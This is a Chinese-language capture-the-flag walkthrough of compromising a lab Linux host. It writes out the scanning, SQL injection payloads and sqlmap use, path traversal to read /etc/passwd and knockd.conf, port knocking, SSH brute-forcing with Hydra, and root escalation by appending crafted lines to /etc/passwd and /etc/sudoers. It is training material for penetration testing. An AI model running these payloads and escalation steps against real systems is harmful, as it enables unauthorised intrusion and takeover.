1.信息收集

扫描主机

sudo arp-scan -l

扫描端口，发现只有80端口

nmap -p- 192.168.42.150

扫描80开放的服务

nmap -p 80 -A -V 192.168.42.150

2.漏洞发掘

访问主页面

发现有查找功能，猜测此处有sql注入漏洞

测试sql注入漏洞

‘ or 1=1#

获取成功，存在注入漏洞，开始利用

bp开始抓包，跑sqlmap

跑出了admin的账号和密码

密码明显长度不太对，猜测为md5加密,在网上在线破解，得到密码

admin登录，开始逛街

发现下面提示，猜测有文件包含漏洞（目录穿越）

不放心可以多敲几个../

？file=../../../../../../../../../etc/passwd

因为前面我们只扫描到80端口，22没有扫到，那只有两种情况，一种22没有开放，一种有knockd服务，

该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。

如果开启了knockd服务，那么会存在一个配置文件/etc/knockd.conf，该配置文件中保存着需要访问的端口顺序。我们可以通过文件包含漏洞查看该配置文件

?file=/etc/knockd.conf

根据配置文件，依次访问三个端口，再次扫描，发现22端口开放

knock 192.168.42.150 7469 8475 9842

因为之前sqlmap跑出了三个数据库，我们看看另一个内容

发现一堆账号密码，尝试ssh爆破

九头蛇爆破，发现3个账号，只有janitor有东西

hybra -L 账号. txt -P 密码.txt ssh://192.168.42.150

3.横向渗透

ssh连接

ssh janitor@192.168.42.150

ls发现没文件，ls -al查看隐藏文件，发现新的密码本

重新爆破密码，发现新的账号

fredf B4-Tru3-001

4.提升权限

常规查看权限

sudo -l

尝试执行，返回错误，找到test.py，查看代码

find / -name test.py 2>/dev/null

发现代码作用需要两个文件，把第一文件追加到第二个文件后

4.1构造用户行,写入/etc/passwd

openssl生成密码，前一个xihe为账号,后一个为要加密的密码，

openssl passwd -1 -salt xihe xihe

生成的密码

$1$xihe$UAMCUAzSxt0fZHIag4Ryi1

把密码写入一个文件中，使用该脚本，追加成功

echo写不进去，用vi写

切换用户 su ,提权成功

4.2构造权限行,写入/etc/sudoers

fredf用户为root,不需要任何密码

fredf ALL=(root) NOPASSWD:ALL

echo "fredf ALL=(root) NOPASSWD:ALL" > 3.txt
sudo /opt/devstuff/dist/test/test 3.txt /etc/sudoers

sudo su root